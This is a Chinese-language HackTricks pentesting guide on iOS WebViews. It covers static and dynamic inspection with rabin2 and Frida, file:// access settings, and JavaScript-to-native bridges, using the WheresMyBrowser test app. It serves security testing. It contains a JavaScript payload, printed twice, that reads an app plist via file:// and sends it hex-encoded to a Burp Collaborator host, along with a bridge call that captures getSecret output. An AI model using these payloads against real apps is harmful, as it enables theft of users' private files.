hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md

22 KiB
Raw Blame History

iOS WebViews

从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

WebViews类型

WebViews是应用内浏览器组件用于显示交互式网络 内容。它们可以用来直接将网络内容嵌入到应用的用户界面中。iOS WebViews 默认支持 JavaScript 执行,因此脚本注入和跨站脚本攻击可能会影响它们。

  • UIWebView: 从iOS 12开始UIWebView已被弃用不应再使用。JavaScript无法被禁用

  • WKWebView: 这是扩展应用功能、控制显示内容的合适选择。

  • JavaScript 默认启用,但是通过 WKWebViewjavaScriptEnabled 属性,它可以被完全禁用,防止所有脚本注入漏洞。

  • JavaScriptCanOpenWindowsAutomatically 可用于防止 JavaScript 打开新窗口,例如弹出窗口。

  • hasOnlySecureContent 属性可用于验证WebView加载的资源是否通过加密连接检索。

  • WKWebView 实现了进程外渲染,因此内存损坏漏洞不会影响主应用进程。

  • SFSafariViewController: 应当用于提供通用的网络浏览体验。这些WebViews可以很容易地被识别因为它们有一个特征性的布局包括以下元素

  • 一个只读的地址栏,带有安全指示器。

  • 一个动作("分享"按钮

  • 一个完成按钮,后退和前进导航按钮,以及一个"打开Safari"按钮以直接在Safari中打开页面。

  • SFSafariViewController无法禁用JavaScript,这是推荐使用 WKWebView 的原因之一,当目标是扩展应用的用户界面时。
  • SFSafariViewController共享cookies和其他网站数据与Safari
  • 用户与 SFSafariViewController 的活动和互动对应用不可见,应用无法访问自动填充数据、浏览历史或网站数据。
  • 根据App Store审查指南SFSafariViewController不得被其他视图或层隐藏或遮挡

发现WebViews配置

静态分析

UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9   9  10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813  24  25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599  23  24 () ascii _OBJC_CLASS_$_UIWebView

WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3   9  10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670  17  18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960  24  25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4  23  24 () ascii _OBJC_CLASS_$_WKWebView
或者,您也可以搜索这些 WebView 类的已知方法。例如,搜索用于初始化 WKWebView 的方法([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO

测试JavaScript配置

对于WKWebView作为最佳实践除非明确需要否则应禁用JavaScript。要验证JavaScript是否已正确禁用请搜索项目中的WKPreferences用法,并确保javaScriptEnabled属性设置为false

let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false

如果您只有编译后的二进制文件,您可以在其中搜索这个:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7  17  18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9  21  22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled

测试 OnlySecureContent

UIWebView 相比,使用 WKWebView 时可以检测到混合内容(从 HTTPS 页面加载的 HTTP 内容)。通过使用方法 hasOnlySecureContent,可以验证页面上的所有资源是否都通过安全加密连接加载。
在编译后的二进制文件中:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

您还可以在源代码或字符串中搜索字符串 "http://"。但是,这并不一定意味着存在混合内容问题。在 MDN Web Docs 中了解更多关于混合内容的信息。

动态分析

可以通过 ObjC.choose() 检查堆,以找到不同类型的 WebViews 的实例,并且还可以搜索属性 javaScriptEnabledhasonlysecurecontent

{% code title="webviews_inspector.js" %}

ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
加载它:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>

hasOnlySecureContent:  false

WebView 协议处理

在 iOS 上的 WebView 中,有几个默认的方案可用,例如:

  • http(s)://
  • file://
  • tel://

WebViews 可以从端点加载远程内容,但它们也可以从应用数据目录加载本地内容。如果加载了本地内容,用户不应该能够影响用于加载文件的文件名或路径,用户也不应该能够编辑已加载的文件。

WebView 内容加载

如果您有源代码,您可以搜索这些方法。拥有编译后的 二进制文件,您也可以搜索这些方法:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

文件访问

  • UIWebView
  • file:// 方案始终启用。
  • file:// URLs 的文件访问始终被启用。
  • file:// URLs 的通用访问始终被启用。
  • 如果你从设置了 baseURLnilUIWebView 中检索有效源,你会发现它不是设置为 "null",相反,你会得到类似以下的内容:applewebdata://5361016c-f4a0-4305-816b-65411fc1d780。这个源 "applewebdata://" 类似于 "file://" 源,因为它不实施同源策略,允许访问本地文件和任何网络资源。

{% tabs %} {% tab title="exfiltrate_file" %}

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

{% endtab %} {% endtabs %}

  • WKWebView
  • allowFileAccessFromFileURLsWKPreferences,默认为false):它允许在file://方案URL的上下文中运行的JavaScript访问来自其他file://方案URL的内容。
  • allowUniversalAccessFromFileURLsWKWebViewConfiguration,默认为false):它允许在file://方案URL的上下文中运行的JavaScript访问来自任何来源的内容。

您可以在应用程序的源代码或编译后的二进制文件中搜索这些函数。
此外您可以使用以下frida脚本来查找此信息

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL:  file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled:  true
allowFileAccessFromFileURLs:  0
hasOnlySecureContent:  false
allowUniversalAccessFromFileURLs:  0

泄露任意文件

//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

通过 WebViews 暴露的原生方法

自 iOS 7 起,苹果引入了允许 WebView 中的 JavaScript 运行时与原生 Swift 或 Objective-C 对象通信的 API。

原生代码和 JavaScript 通信有两种基本方式:

  • JSContext:当 Objective-C 或 Swift 块被赋值给 JSContext 中的一个标识符时JavaScriptCore 会自动将该块包装在一个 JavaScript 函数中。
  • JSExport 协议:在 JSExport 继承协议中声明的属性、实例方法和类方法被映射到 JavaScript 对象,这些对象对所有 JavaScript 代码都是可用的。在 JavaScript 环境中对对象的修改会反映在原生环境中。

注意 只有在 JSExport 协议中定义的类成员 才能被 JavaScript 代码访问。
注意检查将原生对象映射到与 WebView 关联的 JSContext 的代码,并分析它暴露了哪些功能,例如不应该访问和暴露给 WebViews 的敏感数据。
在 Objective-C 中,与 UIWebView 关联的 JSContext 可以如下获取:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
JavaScript 代码在 **`WKWebView` 中仍然可以发送消息回原生应用,但与 `UIWebView` 不同的是,不能直接引用 `WKWebView``JSContext`**。相反,通信是通过使用消息系统和 `postMessage` 函数来实现的,该函数会自动将 JavaScript 对象序列化为原生 Objective-C 或 Swift 对象。消息处理程序是使用方法 [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add) 配置的。

### 启用 JavascriptBridge
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

发送消息

添加一个名为 "name"(或在上面的例子中为 "javaScriptBridge")的脚本消息处理器会导致 JavaScript 函数 window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage 在使用用户内容控制器的所有 web 视图中的所有框架中被定义。然后可以像这样从 HTML 文件中使用

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"

document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
一旦执行了 Native 函数,它通常会**在网页内执行一些 JavaScript**(见下面的 `evaluateJavascript`),你可能对**覆盖将要执行的函数**以**窃取结果**感兴趣。
例如,在下面的脚本中,函数 **`javascriptBridgeCallBack`** 将会被执行,并带有两个参数(被调用的函数和**结果**)。如果你控制了将要加载的 HTML你可以创建一个**显示结果的警告**,如:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

被调用函数

被调用函数位于 JavaScriptBridgeMessageHandler.swift

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {

//...

case "multiplyNumbers":

let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...

let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)

测试

为了在应用程序内发送 postMessage您可以

调试 iOS WebViews

(教程来自 https://blog.vuplex.com/debugging-webviews

在 iOS webviews 中,传递给 console.log() 的消息不会打印到 Xcode 日志中。使用 Safari 的开发者工具调试 web 内容仍然相对容易,尽管有一些限制:

  • 调试 iOS webviews 需要使用 Safari因此您的开发计算机必须运行 macOS。
  • 您只能在通过 Xcode 加载到您设备上的应用程序中调试 webviews。您无法调试通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews。

考虑到这些限制,以下是在 iOS 中远程调试 webview 的步骤:

  • 首先,在您的 iOS 设备上启用 Safari Web 检查器,打开 iOS 设置 应用,导航到 设置 > Safari > 高级,然后打开 Web 检查器 选项。

iOS Safari 设置

  • 接下来,您还必须在开发计算机上的 Safari 中启用开发者工具。在您的开发机器上启动 Safari 并导航到菜单栏中的 Safari > 偏好设置。在出现的偏好设置面板中,点击 高级 标签,然后在底部启用 显示开发菜单 选项。完成后,您可以关闭偏好设置面板。

Mac Safari 设置

  • 将您的 iOS 设备连接到开发计算机并启动您的应用程序。
  • 在开发计算机上的 Safari 中,点击菜单栏中的 开发,然后悬停在您的 iOS 设备名称的下拉选项上,以显示在您的 iOS 设备上运行的 webview 实例列表。

Mac Safari 开发菜单

  • 点击您希望调试的 webview 的下拉选项。这将打开一个新的 Safari Web 检查器窗口以检查 webview。

Safari Web 检查器窗口

参考资料

从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式: